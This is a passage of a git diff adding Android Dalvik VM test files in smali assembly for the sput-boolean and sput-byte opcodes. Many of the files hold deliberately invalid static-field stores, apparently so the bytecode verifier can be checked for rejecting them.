+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_2.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_2;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       sput-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_4;->st_i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_21.smali
new file mode 100644
index 0000000..6a3bbd8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_21.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_21.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_21;
+.super  Ljava/lang/Object;
+
+.field public static st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_21;->st_s:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_22.smali
new file mode 100644
index 0000000..2988abe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_22.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_22.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_22;
+.super  Ljava/lang/Object;
+
+.field public static st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_22;->st_i:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_23.smali
new file mode 100644
index 0000000..69e0bb7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_23.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_23.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_23;
+.super  Ljava/lang/Object;
+
+.field public static st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_23;->st_c:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_24.smali
new file mode 100644
index 0000000..5280c5c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_24.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_24.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_24;
+.super  Ljava/lang/Object;
+
+.field public static st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_24;->st_b:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_3.smali
new file mode 100644
index 0000000..8ece531
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_3.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_3.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_3;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       sput-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_3;->st_i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_4.smali
new file mode 100644
index 0000000..03cf0c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_4.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_4;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-boolean v3, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_4;->st_i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_7.smali
new file mode 100644
index 0000000..74ce45a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_7.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_7.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_7;
+.super  Ljava/lang/Object;
+
+.field public st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_7;->st_i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_8.smali
new file mode 100644
index 0000000..f99cee5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_8.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_8.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/TestStubs;->TestStubField:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_9.smali
new file mode 100644
index 0000000..f204bd1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_9.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_9noclass;->st_i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_1.smali
new file mode 100644
index 0000000..32f2772
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_1.smali

@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_1.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:B
+.field protected static st_p1:B
+.field private static st_pvt1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static getPvtField()B
+.registers 2
+
+       sget-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;->st_pvt1:B
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;->st_i1:B
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_10.smali
new file mode 100644
index 0000000..e7f4df0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_10.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_10.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_10;->st_i1N:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_11.smali
new file mode 100644
index 0000000..f6d58d0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_11.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_11.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/TestStubs;->TestStubFieldFinal:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_12.smali
new file mode 100644
index 0000000..636181c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_12.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_12.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_12;
+.super  Ljava/lang/Object;
+
+.field public static final st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_12;->st_i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_14.smali
new file mode 100644
index 0000000..7f0aa73
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_14.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_14.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_14;
+.super  Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()B
+.registers 2
+
+       sget-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;->st_p1:B
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;->st_p1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_15.smali
new file mode 100644
index 0000000..66daaa1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_15.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_15.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_15;
+.super  Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;->st_pvt1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_17.smali
new file mode 100644
index 0000000..7206946
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_17.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_17.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_17;->st_i1:B
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_18.smali
new file mode 100644
index 0000000..6372957
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_18.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_18.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_18;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_18;->st_i1:D
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_2.smali
new file mode 100644
index 0000000..cfedf08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_2.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_2.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_2;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       sput-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_4;->st_i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_21.smali
new file mode 100644
index 0000000..907768c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_21.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_21.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_21;
+.super  Ljava/lang/Object;
+
+.field public static st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 12    
+       sput-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_21;->st_s:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_22.smali
new file mode 100644
index 0000000..50d794a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_22.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_22.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_22;
+.super  Ljava/lang/Object;
+
+.field public static st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_22;->st_i:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_23.smali
new file mode 100644
index 0000000..3a500b6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_23.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_23.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_23;
+.super  Ljava/lang/Object;
+
+.field public static st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_23;->st_c:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_24.smali
new file mode 100644
index 0000000..c2cc385
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_24.smali

